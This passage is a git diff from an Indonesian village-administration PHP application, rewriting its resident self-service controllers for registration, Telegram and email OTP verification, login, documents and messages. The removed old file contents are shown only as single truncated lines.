+ // TODO :: gunakan view global penandatangan
+ $ttd = $this->modal_penandatangan();
+ $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id);
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id);
+ $data['input'] = $_POST;
+ $_SESSION['filter'] = $data['input']['tahun'];
+ $data['desa'] = $this->header['desa'];
+ $data['main'] = $this->surat_masuk_model->list_data($o, 0, 10000);
+
+ if ($aksi == 'unduh') {
+ $this->load->view('surat_masuk/surat_masuk_excel', $data);
+ } else {
+ $this->load->view('surat_masuk/surat_masuk_print', $data);
+ }
+ }
+
+ public function disposisi($id)
+ {
+ $data['input'] = $_POST;
+ $data['desa'] = $this->header['desa'];
+ $data['pamong_ttd'] = $this->pamong_model->get_data($_POST['pamong_ttd']);
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($_POST['pamong_ketahui']);
+ $data['ref_disposisi'] = RefJabatan::select(['id', 'nama'])->urut()->latest()->get()->except(kades()->id);
+ $data['disposisi_surat_masuk'] = DisposisiSuratmasuk::where('id_surat_masuk', $id)->pluck('disposisi_ke')->toArray();
+ $data['surat'] = $this->surat_masuk_model->get_surat_masuk($id);
+ $this->load->view('surat_masuk/disposisi', $data);
+ }
+
+ /**
+ * Unduh berkas scan berdasarkan kolom surat_masuk.id
+ *
+ * @param int $idSuratMasuk Id berkas scan pada koloam surat_masuk.id
+ * @param int $tipe
+ *
+ * @return void
+ */
+ public function berkas($idSuratMasuk = 0, $tipe = 0)
+ {
+ // Ambil nama berkas dari database
+ $berkas = $this->surat_masuk_model->getNamaBerkasScan($idSuratMasuk);
+ ambilBerkas($berkas, 'surat_masuk', '__sid__', LOKASI_ARSIP, ($tipe == 1) ? true : false);
+ }
+
+ public function nomor_surat_duplikat()
+ {
+ if ($_POST['nomor_urut'] == $_POST['nomor_urut_lama']) {
+ $hasil = false;
+ } else {
+ $hasil = $this->penomoran_surat_model->nomor_surat_duplikat('surat_masuk', $_POST['nomor_urut']);
+ }
+ echo $hasil ? 'false' : 'true';
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Anjungan.php b/donjo-app/controllers/fmandiri/Anjungan.php
index 768cfe406..e24e0e7dc 100644
--- a/donjo-app/controllers/fmandiri/Anjungan.php
+++ b/donjo-app/controllers/fmandiri/Anjungan.php
@@ -1,553 +1,83 @@
-load->helper('web');
+ $this->load->model('pamong_model');
+ if (! cek_anjungan() || $this->cek_anjungan['tipe'] != 1) {
+ redirect('layanan-mandiri/beranda');
+ }
+ }
+
+ public function index()
+ {
+ $menu = AnjunganMenu::where('status', 1)->get()->map(static function ($item) {
+ $item->link = menu_slug($item->link);
+
+ return $item;
+ });
+
+ $jumlah_artikel = setting('anjungan_layar') == 1 ? 4 : 6;
+
+ $data = [
+ 'cek_anjungan' => $this->cek_anjungan,
+ 'arsip_terkini' => Artikel::arsip()->orderBy('tgl_upload', 'DESC')->limit($jumlah_artikel)->get(),
+ 'arsip_populer' => Artikel::arsip()->orderBy('hit', 'DESC')->limit($jumlah_artikel)->get(),
+ 'tanggal' => Carbon::now()->dayName . ', ' . date('d/m/Y'),
+ 'menu' => $menu,
+ 'slides' => count($menu) > 5 ? 5 : count($menu),
+ 'teks_berjalan' => setting('anjungan_teks_berjalan'),
+ 'gambar' => Galery::where('parrent', setting('anjungan_slide'))->where('enabled', 1)->get(),
+ 'pamong' => $this->pamong_model->list_aparatur_desa()['daftar_perangkat'],
+ ];
+
+ $layar = setting('anjungan_layar') == 1 ? 'index' : 'potrait';
+
+ return view('layanan_mandiri.anjungan.' . $layar, $data);
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Bantuan.php b/donjo-app/controllers/fmandiri/Bantuan.php
index 78c42c50c..edbc7abf1 100644
--- a/donjo-app/controllers/fmandiri/Bantuan.php
+++ b/donjo-app/controllers/fmandiri/Bantuan.php
@@ -1,545 +1,67 @@
-load->model('program_bantuan_model');
+ }
+
+ public function index()
+ {
+ $data['bantuan_penduduk'] = $this->program_bantuan_model->daftar_bantuan_yang_diterima($this->is_login->nik);
+
+ $this->render('bantuan', $data);
+ }
+
+ public function kartu_peserta($aksi = 'tampil', $id_peserta = '')
+ {
+ $data = $this->program_bantuan_model->get_program_peserta_by_id($id_peserta);
+ // Hanya boleh menampilkan data pengguna yang login
+ // ** Bagi program sasaran pendududk **
+ // TO DO : Ganti parameter nik menjadi id
+ if ($aksi == 'tampil') {
+ $this->load->view(MANDIRI . '/peserta_bantuan', $data);
+ } else {
+ ambilBerkas($data['kartu_peserta'], MANDIRI . '/bantuan', null, LOKASI_DOKUMEN);
+ }
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Beranda.php b/donjo-app/controllers/fmandiri/Beranda.php
index db158033a..c9c65b2f0 100644
--- a/donjo-app/controllers/fmandiri/Beranda.php
+++ b/donjo-app/controllers/fmandiri/Beranda.php
@@ -1,545 +1,133 @@
-load->model(['mandiri_model', 'penduduk_model', 'kelompok_model', 'web_dokumen_model', 'pendapat_model', 'mailbox_model']);
+ $this->load->helper('download');
+ }
+
+ public function index()
+ {
+ $inbox = $this->mailbox_model->count_inbox_pesan($this->is_login->nik);
+ if ($inbox) {
+ redirect('layanan-mandiri/pesan-masuk');
+ } else {
+ redirect('layanan-mandiri/permohonan-surat');
+ }
+ }
+
+ public function profil()
+ {
+ $data = [
+ 'penduduk' => $this->penduduk_model->get_penduduk($this->is_login->id_pend),
+ 'kelompok' => $this->penduduk_model->list_kelompok($this->is_login->id_pend),
+ ];
+
+ $this->render('profil', $data);
+ }
+
+ public function cetak_biodata()
+ {
+ $data = [
+ 'desa' => $this->header,
+ 'penduduk' => $this->penduduk_model->get_penduduk($this->is_login->id_pend),
+ ];
+
+ $this->load->view('sid/kependudukan/cetak_biodata', $data);
+ }
+
+ public function cetak_kk()
+ {
+ if ($this->is_login->id_kk == 0) {
+ // Jika diakses melalui URL
+ $respon = [
+ 'status' => 1,
+ 'pesan' => 'Anda tidak terdaftar dalam sebuah keluarga',
+ ];
+ $this->session->set_flashdata('notif', $respon);
+
+ redirect('layanan-mandiri/beranda');
+ }
+
+ $data = $this->keluarga_model->get_data_cetak_kk($this->is_login->id_kk);
+
+ $this->load->view('sid/kependudukan/cetak_kk_all', $data);
+ }
+
+ public function ganti_pin()
+ {
+ $data = [
+ 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->is_login->id_pend),
+ 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->is_login->id_pend),
+ 'cek_anjungan' => $this->cek_anjungan,
+ 'form_action' => site_url('layanan-mandiri/proses-ganti-pin'),
+ ];
+
+ $this->render('ganti_pin', $data);
+ }
+
+ public function proses_ganti_pin()
+ {
+ $this->mandiri_model->ganti_pin();
+ redirect('layanan-mandiri/ganti-pin');
+ }
+
+ public function keluar()
+ {
+ $this->mandiri_model->logout();
+ redirect('layanan-mandiri/masuk');
+ }
+
+ // TODO: Pindahkan ke model
+ public function pendapat(int $pilihan = 1)
+ {
+ $data = [
+ 'config_id' => identitas('id'),
+ 'pengguna' => $this->is_login->id_pend,
+ 'pilihan' => $pilihan,
+ ];
+
+ $this->pendapat_model->insert($data);
+ redirect('layanan-mandiri/keluar');
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Daftar.php b/donjo-app/controllers/fmandiri/Daftar.php
index 99cb6dae1..1ffd47424 100644
--- a/donjo-app/controllers/fmandiri/Daftar.php
+++ b/donjo-app/controllers/fmandiri/Daftar.php
@@ -1,537 +1,100 @@
-session->daftar = true;
+ $this->load->model(['mandiri_model', 'theme_model']);
+ if (! $this->setting->tampilkan_pendaftaran) {
+ redirect('layanan-mandiri/masuk');
+ }
+ }
+
+ public function index()
+ {
+ if ($this->session->mandiri == 1) {
+ redirect('layanan-mandiri/beranda');
+ }
+
+ //Initialize Session ------------
+ $this->session->unset_userdata('balik_ke');
+ if (! isset($this->session->mandiri)) {
+ // Belum ada session variable
+ $this->session->mandiri = 0;
+ $this->session->mandiri_try = 4;
+ $this->session->mandiri_wait = 0;
+ $this->session->daftar = true;
+ }
+
+ $data = [
+ 'header' => $this->header,
+ 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(),
+ 'form_action' => site_url('layanan-mandiri/proses-daftar'),
+ ];
+
+ $this->load->view(MANDIRI . '/masuk', $data);
+ }
+
+ //Prosess Pendaftaran
+ public function proses_daftar()
+ {
+ $post = $this->input->post();
+ $data['nama'] = $post['daftar_nama'];
+ $data['nik'] = $post['daftar_nik'];
+ $data['kk'] = $post['daftar_kk'];
+ $data['tgl_lahir'] = date('Y-m-d', strtotime($post['daftar_tgl_lahir']));
+ $data['pin1'] = $post['daftar_pin1'];
+ $data['pin2'] = $post['daftar_pin2'];
+
+ if ($data['pin1'] == $data['pin2']) {
+ $this->mandiri_model->pendaftaran_mandiri($data);
+ } else {
+ $respon = [
+ 'status' => -1,
+ 'pesan' => 'Mohon Maaf, PIN yang dimasukan tidak sama',
+ ];
+ $this->session->set_flashdata('info_pendaftaran', $respon);
+ }
+ redirect('layanan-mandiri/daftar');
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Daftar_verifikasi.php b/donjo-app/controllers/fmandiri/Daftar_verifikasi.php
index 4519f0f59..8a8d22c20 100644
--- a/donjo-app/controllers/fmandiri/Daftar_verifikasi.php
+++ b/donjo-app/controllers/fmandiri/Daftar_verifikasi.php
@@ -1,625 +1,333 @@
-session->daftar_verifikasi = true;
+ $this->load->model(['mandiri_model', 'theme_model']);
+ $this->load->library('OTP/OTP_manager', null, 'otp_library');
+ if (! $this->setting->tampilkan_pendaftaran) {
+ redirect('layanan-mandiri/masuk');
+ }
+ }
+
+ public function index()
+ {
+ if ($this->session->mandiri == 1) {
+ redirect('layanan-mandiri/beranda');
+ }
+
+ //Initialize Session ------------
+ $this->session->unset_userdata('balik_ke');
+ if (! isset($this->session->mandiri)) {
+ // Belum ada session variable
+ $this->session->mandiri = 0;
+ $this->session->mandiri_try = 4;
+ $this->session->mandiri_wait = 0;
+ $this->session->daftar_verifikasi = true;
+ }
+
+ $data = [
+ 'header' => $this->header,
+ 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(),
+ 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->session->is_verifikasi['id']),
+ 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->session->is_verifikasi['id']),
+ 'form_kirim_userid' => site_url('layanan-mandiri/daftar/verifikasi/telegram/kirim-userid'),
+ 'form_kirim_email' => site_url('layanan-mandiri/daftar/verifikasi/email/kirim-email'),
+ ];
+
+ if ($data['tgl_verifikasi_telegram']) {
+ $this->session->set_flashdata('sudah-diverifikasi', '#langkah-4');
+ }
+
+ if ($data['tgl_verifikasi_email']) {
+ $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah-4');
+ }
+
+ if ($data['tgl_verifikasi_telegram'] && $data['tgl_verifikasi_email']) {
+ $this->session->set_flashdata('sudah-verifikasi-semua', 1);
+ }
+
+ $this->session->set_flashdata('tab-aktif', [
+ 'status' => 0,
+ ]);
+
+ $this->load->view(MANDIRI . '/masuk', $data);
+ }
+
+ /**
+ * Verifikasi Telegram
+ */
+ public function telegram()
+ {
+ $data = [
+ 'header' => $this->header,
+ 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(),
+ 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->session->is_verifikasi['id']),
+ 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->session->is_verifikasi['id']),
+ 'form_kirim_userid' => site_url('layanan-mandiri/daftar/verifikasi/telegram/kirim-userid'),
+ 'form_kirim_otp' => site_url('layanan-mandiri/daftar/verifikasi/telegram/kirim-otp'),
+ ];
+
+ if ($data['tgl_verifikasi_telegram']) {
+ $this->session->set_flashdata('sudah-diverifikasi', '#langkah4');
+ }
+
+ if ($data['tgl_verifikasi_email']) {
+ $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah4');
+ }
+
+ $this->session->set_flashdata('tab-aktif', [
+ 'status' => 0,
+ ]);
+
+ $this->load->view(MANDIRI . '/masuk', $data);
+ }
+
+ /**
+ * Langkah 2 Verifikasi Telegram
+ */
+ public function kirim_otp_telegram()
+ {
+ $post = $this->input->post();
+ $userID = $post['telegram_userID'];
+ $token = hash('sha256', $raw_token = mt_rand(100000, 999999));
+ $id_pend = $this->session->is_verifikasi['id'];
+
+ $this->db->trans_begin();
+
+ if ($this->otp_library->driver('telegram')->cek_akun_terdaftar(['telegram' => $userID, 'id' => $id_pend])) {
+ try {
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $this->db->where('id', $id_pend)->update('tweb_penduduk', [
+ 'telegram' => $userID,
+ 'telegram_token' => $token,
+ 'telegram_tgl_kadaluarsa' => date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')),
+ ]);
+
+ $this->otp_library->driver('telegram')->kirim_otp($userID, $raw_token);
+
+ $this->db->trans_commit();
+ } catch (\Exception $e) {
+ log_message('error', $e);
+
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => -1,
+ 'pesan' => 'Tidak berhasil mengirim OTP, silahkan mencoba kembali.',
+ ]);
+
+ $this->db->trans_rollback();
+
+ redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-2');
+ }
+
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => 1,
+ 'pesan' => 'OTP telegram anda berhasil terkirim, silahkan cek telegram anda!',
+ ]);
+
+ $this->session->set_flashdata('kirim-otp-telegram', '#langkah3');
+
+ redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-3');
+ } else {
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => -1,
+ 'pesan' => 'Akun Telegram yang Anda Masukkan tidak valid,
Silahkan menggunakan akun lainnya',
+ ]);
+ redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-2');
+ }
+ }
+
+ /**
+ * Langkah 3 Verifikasi Telegram
+ */
+ public function verifikasi_telegram()
+ {
+ $post = $this->input->post();
+ $otp = $post['token_telegram'];
+ $user = $this->session->is_verifikasi['id'];
+ $nama = $this->session->is_verifikasi['nama'];
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $telegramID = $this->db->where('id', $user)->get('tweb_penduduk')->row()->telegram;
+
+ if ($this->otp_library->driver('telegram')->verifikasi_otp($otp, $user)) {
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => 1,
+ 'pesan' => 'Selamat, akun telegram anda berhasil terverifikasi.',
+ ]);
+
+ try {
+ $this->otp_library->driver('telegram')->verifikasi_berhasil($telegramID, $nama);
+ } catch (\Exception $e) {
+ log_message('error', $e);
+ }
+
+ redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-4');
+ }
+
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => -1,
+ 'pesan' => 'Tidak berhasil memverifikasi, Token tidak sesuai atau waktu Anda habis, silahkan mencoba kembali.',
+ ]);
+
+ redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-2');
+ }
+
+ /**
+ * Verifikasi Email
+ */
+ public function email()
+ {
+ $data = [
+ 'header' => $this->header,
+ 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(),
+ 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->session->is_verifikasi['id']),
+ 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->session->is_verifikasi['id']),
+ 'form_kirim_email' => site_url('layanan-mandiri/daftar/verifikasi/email/kirim-email'),
+ 'form_kirim_otp_email' => site_url('layanan-mandiri/daftar/verifikasi/email/kirim-otp'),
+ ];
+
+ if ($data['tgl_verifikasi_telegram']) {
+ $this->session->set_flashdata('sudah-diverifikasi', '#langkah4');
+ }
+
+ if ($data['tgl_verifikasi_email']) {
+ $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah4');
+ }
+
+ $this->session->set_flashdata('tab-aktif', [
+ 'status' => 1,
+ ]);
+
+ $this->load->view(MANDIRI . '/masuk', $data);
+ }
+
+ /**
+ * Langkah 2 Verifikasi Email
+ */
+ public function kirim_otp_email()
+ {
+ $post = $this->input->post();
+ $email = $post['alamat_email'];
+ $token = hash('sha256', $raw_token = mt_rand(100000, 999999));
+ $id_pend = $this->session->is_verifikasi['id'];
+
+ $this->db->trans_begin();
+
+ if ($this->otp_library->driver('email')->cek_akun_terdaftar(['email' => $email, 'id' => $id_pend])) {
+ try {
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $this->db->where('id', $id_pend)->update('tweb_penduduk', [
+ 'email' => $email,
+ 'email_token' => $token,
+ 'email_tgl_kadaluarsa' => date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')),
+ ]);
+
+ $this->otp_library->driver('email')->kirim_otp($email, $raw_token);
+
+ $this->db->trans_commit();
+ } catch (\Exception $e) {
+ log_message('error', $e);
+
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => -1,
+ 'pesan' => 'Tidak berhasil mengirim OTP, silahkan mencoba kembali.',
+ ]);
+
+ $this->db->trans_rollback();
+
+ redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-2');
+ }
+
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => 1,
+ 'pesan' => 'OTP email anda berhasil terkirim, silahkan cek email anda!',
+ ]);
+
+ $this->session->set_flashdata('kirim-otp-email', '#langkah3');
+
+ redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-3');
+ } else {
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => -1,
+ 'pesan' => 'Akun Email yang Anda Masukkan tidak valid,
Silahkan menggunakan akun lainnya',
+ ]);
+ redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-2');
+ }
+ }
+
+ /**
+ * Langkah 3 Verifikasi Email
+ */
+ public function verifikasi_email()
+ {
+ $post = $this->input->post();
+ $otp = $post['token_email'];
+ $user = $this->session->is_verifikasi['id'];
+ $nama = $this->session->is_verifikasi['nama'];
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $email = $this->db->where('id', $user)->get('tweb_penduduk')->row()->email;
+
+ if ($this->otp_library->driver('email')->verifikasi_otp($otp, $user)) {
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => 1,
+ 'pesan' => 'Selamat, alamat email anda berhasil terverifikasi.',
+ ]);
+
+ try {
+ $this->otp_library->driver('email')->verifikasi_berhasil($email, $nama);
+ } catch (\Exception $e) {
+ log_message('error', $e);
+ }
+
+ redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-4');
+ }
+
+ $this->session->set_flashdata('daftar_notif_telegram', [
+ 'status' => -1,
+ 'pesan' => 'Tidak berhasil memverifikasi, Token tidak sesuai atau waktu Anda habis, silahkan mencoba kembali.',
+ ]);
+
+ redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-2');
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Dokumen.php b/donjo-app/controllers/fmandiri/Dokumen.php
index 6d1b1e063..a0f43a2c8 100644
--- a/donjo-app/controllers/fmandiri/Dokumen.php
+++ b/donjo-app/controllers/fmandiri/Dokumen.php
@@ -1,545 +1,120 @@
-load->model(['penduduk_model', 'web_dokumen_model', 'keluarga_model', 'referensi_model']);
+ $this->controller = 'layanan-mandiri/dokumen';
+ }
+
+ public function index()
+ {
+ $this->render('dokumen/index', [
+ 'dokumen' => $this->penduduk_model->list_dokumen($this->is_login->id_pend),
+ 'jenis_syarat_surat' => $this->referensi_model->list_by_id('ref_syarat_surat', 'ref_syarat_id'),
+ ]);
+ }
+
+ public function form($id = '')
+ {
+ if ($this->is_login->kk_level == '1') { //Jika Kepala Keluarga
+ $data['kk'] = $this->keluarga_model->list_anggota($this->is_login->id_kk);
+ }
+
+ if ($id) {
+ $data['dokumen'] = $this->web_dokumen_model->get_dokumen($id, $this->is_login->id_pend) ?? show_404();
+ $data['anggota'] = array_column($this->web_dokumen_model->get_dokumen_di_anggota_lain($id), 'id_pend');
+ $data['aksi'] = 'Ubah';
+ $data['form_action'] = site_url("{$this->controller}/ubah/{$id}");
+ } else {
+ $data['dokumen'] = null;
+ $data['anggota'] = null;
+ $data['aksi'] = 'Tambah';
+ $data['form_action'] = site_url("{$this->controller}/tambah");
+ }
+
+ $data['jenis_syarat_surat'] = $this->referensi_model->list_by_id('ref_syarat_surat', 'ref_syarat_id');
+
+ $this->render('dokumen/form', $data);
+ }
+
+ public function tambah()
+ {
+ if ($this->web_dokumen_model->insert($this->is_login->id_pend, true)) {
+ redirect_with('success', 'Berhasil tambah dokumen');
+ } else {
+ redirect_with('error', 'Gagal tambah dokumen -> ' . $this->session->error_msg);
+ }
+ }
+
+ public function ubah($id = '')
+ {
+ $this->web_dokumen_model->get_dokumen($id) ?? show_404();
+
+ if ($this->web_dokumen_model->update($id, $this->is_login->id_pend, true)) {
+ redirect_with('success', 'Berhasil ubah dokumen');
+ } else {
+ redirect_with('error', 'Gagal ubah dokumen -> ' . $this->session->error_msg);
+ }
+ }
+
+ public function hapus($id = '')
+ {
+ $this->web_dokumen_model->get_dokumen($id) ?? show_404();
+
+ if ($this->web_dokumen_model->delete($id)) {
+ redirect_with('success', 'Berhasil hapus dokumen');
+ } else {
+ redirect_with('error', 'Gagal hapus dokumen');
+ }
+ }
+
+ public function unduh($id = '')
+ {
+ // Ambil nama berkas dari database
+ if ($berkas = $this->web_dokumen_model->get_nama_berkas($id, $this->is_login->id_pend)) {
+ ambilBerkas($berkas, null, null, LOKASI_DOKUMEN);
+ } else {
+ redirect_with('error', 'Gagal ubah dokumen');
+ }
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Kehadiran_perangkat.php b/donjo-app/controllers/fmandiri/Kehadiran_perangkat.php
index 8897e0433..20c16b7a7 100644
--- a/donjo-app/controllers/fmandiri/Kehadiran_perangkat.php
+++ b/donjo-app/controllers/fmandiri/Kehadiran_perangkat.php
@@ -1,641 +1,82 @@
-daftar()
+ ->where(static function ($query) {
+ $query->where('tanggal', DB::raw('curdate()'))
+ ->orWhereNull('tanggal');
+ })
+ ->orderBy('urut')
+ ->get();
+ $perangkat = $kehadiran->each(function ($item) {
+ if ($item->id_penduduk != $this->session->is_login->id_pend) {
+ return $item->id_penduduk = 0;
+ }
+
+ return $item;
+ })->values()->all();
+
+ $this->render('kehadiran', compact('perangkat'));
+ }
+
+ public function lapor($id)
+ {
+ $data = [
+ 'waktu' => date('Y-m-d H:i:s'),
+ 'status' => 1,
+ 'id_penduduk' => $this->session->is_login->id_pend,
+ 'id_pamong' => $id,
+ ];
+
+ if (KehadiranPengaduan::create($data)) {
+ redirect('layanan-mandiri/kehadiran');
+ }
+
+ redirect('layanan-mandiri/kehadiran');
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Lapak.php b/donjo-app/controllers/fmandiri/Lapak.php
index fae5bdf59..797f10d26 100644
--- a/donjo-app/controllers/fmandiri/Lapak.php
+++ b/donjo-app/controllers/fmandiri/Lapak.php
@@ -1,529 +1,76 @@
-load->model('lapak_model');
+ }
+
+ public function index($p = 1)
+ {
+ $data['id_kategori'] = $this->input->get('id_kategori', true);
+ $data['keyword'] = $this->input->get('keyword', true);
+
+ // TODO : Sederhanakan bagian panging dengan suffix
+ $data['paging'] = $this->lapak_model->paging_produk($p, $data['keyword'], $data['id_kategori']);
+ $data['paging_page'] = 'layanan-mandiri/lapak';
+ $data['paging_range'] = 3;
+ $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']);
+ $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']);
+ $data['pages'] = range($data['start_paging'], $data['end_paging']);
+
+ if ($data['keyword']) {
+ $data['produk'] = $this->lapak_model->get_produk($data['keyword'], 1);
+ } else {
+ $data['produk'] = $this->lapak_model->get_produk('', 1);
+ }
+
+ if ($data['id_kategori'] != '') {
+ $data['produk'] = $data['produk']->where('id_produk_kategori', $data['id_kategori']);
+ }
+
+ $data['produk'] = $data['produk']->limit($data['paging']->per_page, $data['keyword'] ? 0 : $data['paging']->offset)->get()->result();
+ $data['kategori'] = $this->lapak_model->get_kategori()->get()->result();
+
+ $this->render('lapak', $data);
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Masuk.php b/donjo-app/controllers/fmandiri/Masuk.php
index 901ea122e..f714a2dd2 100644
--- a/donjo-app/controllers/fmandiri/Masuk.php
+++ b/donjo-app/controllers/fmandiri/Masuk.php
@@ -1,529 +1,111 @@
-session->login_ektp = false;
+ $this->session->daftar = false;
+ $this->session->daftar_verifikasi = false;
+ $this->load->model(['mandiri_model', 'theme_model']);
+ if ($this->setting->layanan_mandiri == 0) {
+ show_404();
+ }
+ }
+
+ public function index()
+ {
+ $mac_address = $this->input->get('mac_address', true);
+ $token = $this->input->get('token_layanan', true);
+ if (($mac_address && $token == $this->setting->layanan_opendesa_token) || $this->session->mandiri == 1) {
+ $this->session->mac_address = $mac_address;
+ redirect('layanan-mandiri/beranda');
+ }
+
+ //Initialize Session ------------
+ $this->session->unset_userdata('balik_ke');
+ if (! isset($this->session->mandiri)) {
+ // Belum ada session variable
+ $this->session->mandiri = 0;
+ $this->session->mandiri_try = 4;
+ $this->session->mandiri_wait = 0;
+ $this->session->login_ektp = false;
+ $this->session->daftar = false;
+ $this->session->daftar_verifikasi = false;
+ }
+
+ $data = [
+ 'header' => $this->header,
+ 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(),
+ 'cek_anjungan' => $this->cek_anjungan,
+ 'form_action' => site_url('layanan-mandiri/cek'),
+ ];
+
+ $this->load->view(MANDIRI . '/masuk', $data);
+ }
+
+ public function cek()
+ {
+ $this->mandiri_model->siteman();
+ redirect('layanan-mandiri/beranda');
+ }
+
+ public function lupa_pin()
+ {
+ $data = [
+ 'header' => $this->header,
+ 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(),
+ 'cek_anjungan' => $this->anjungan_model->cek_anjungan(),
+ 'form_action' => site_url('layanan-mandiri/cek-pin'),
+ ];
+
+ $this->load->view(MANDIRI . '/lupa_pin', $data);
+ }
+
+ public function cek_pin()
+ {
+ $nik = bilangan($this->input->post('nik'));
+ $this->mandiri_model->cek_verifikasi($nik);
+
+ redirect('layanan-mandiri/lupa-pin');
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Masuk_ektp.php b/donjo-app/controllers/fmandiri/Masuk_ektp.php
index b2d1d5515..904c5d823 100644
--- a/donjo-app/controllers/fmandiri/Masuk_ektp.php
+++ b/donjo-app/controllers/fmandiri/Masuk_ektp.php
@@ -1,569 +1,87 @@
-session->login_ektp = true;
+ $this->load->model(['mandiri_model', 'theme_model']);
+ if ($this->setting->layanan_mandiri == 0) {
+ show_404();
+ }
+ }
+
+ public function index()
+ {
+ $mac_address = $this->input->get('mac_address', true);
+ $token = $this->input->get('token_layanan', true);
+ if (($mac_address && $token == $this->setting->layanan_opendesa_token) || $this->session->mandiri == 1) {
+ $this->session->mac_address = $mac_address;
+ redirect('layanan-mandiri/beranda');
+ }
+
+ //Initialize Session ------------
+ $this->session->unset_userdata('balik_ke');
+ if (! isset($this->session->mandiri)) {
+ // Belum ada session variable
+ $this->session->mandiri = 0;
+ $this->session->mandiri_try = 4;
+ $this->session->mandiri_wait = 0;
+ $this->session->login_ektp = true;
+ }
+
+ $data = [
+ 'header' => $this->header,
+ 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(),
+ 'cek_anjungan' => $this->cek_anjungan,
+ 'form_action' => site_url('layanan-mandiri/cek-ektp'),
+ ];
+
+ $this->load->view(MANDIRI . '/masuk', $data);
+ }
+
+ public function cek_ektp()
+ {
+ $this->mandiri_model->siteman_ektp();
+ redirect('layanan-mandiri/beranda');
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Pesan.php b/donjo-app/controllers/fmandiri/Pesan.php
index 53bd2d048..eef465e95 100644
--- a/donjo-app/controllers/fmandiri/Pesan.php
+++ b/donjo-app/controllers/fmandiri/Pesan.php
@@ -1,529 +1,122 @@
-load->model(['mailbox_model', 'permohonan_surat_model']);
+ }
+
+ public function index($kat = 1)
+ {
+ $data = [
+ 'kat' => $kat,
+ 'judul' => ($kat == 1) ? 'Keluar' : 'Masuk',
+ 'pesan' => $this->mailbox_model->get_all_pesan($this->is_login->nik, $kat),
+ ];
+
+ $this->render('pesan', $data);
+ }
+
+ // TODO: Pisahkan mailbox dari komentar
+ // TODO: Ganti nik jadi id_pend
+ public function kirim($kat = 2)
+ {
+ $this->load->library('Telegram/telegram');
+
+ $data = $this->input->post();
+ $post['email'] = $this->is_login->nik; // kolom email diisi nik untuk pesan
+ $post['owner'] = $this->is_login->nama;
+ $post['subjek'] = $data['subjek'];
+ $post['komentar'] = $data['pesan'];
+ $post['tipe'] = 1;
+ $post['status'] = 2;
+ $this->mailbox_model->insert($post);
+
+ if (! empty($this->setting->telegram_token) && cek_koneksi_internet()) {
+ try {
+ $this->telegram->sendMessage([
+ 'text' => sprintf('Warga RT. %s atas nama %s telah mengirim pesan melalui Layanan Mandiri pada tanggal %s', $this->is_login->rt, $this->is_login->nama, tgl_indo2(date('Y-m-d H:i:s'))),
+ 'parse_mode' => 'Markdown',
+ 'chat_id' => $this->setting->telegram_user_id,
+ ]);
+ } catch (Exception $e) {
+ log_message('error', $e->getMessage());
+ }
+ }
+
+ if ($kat == 1) {
+ redirect('layanan-mandiri/pesan-keluar');
+ }
+
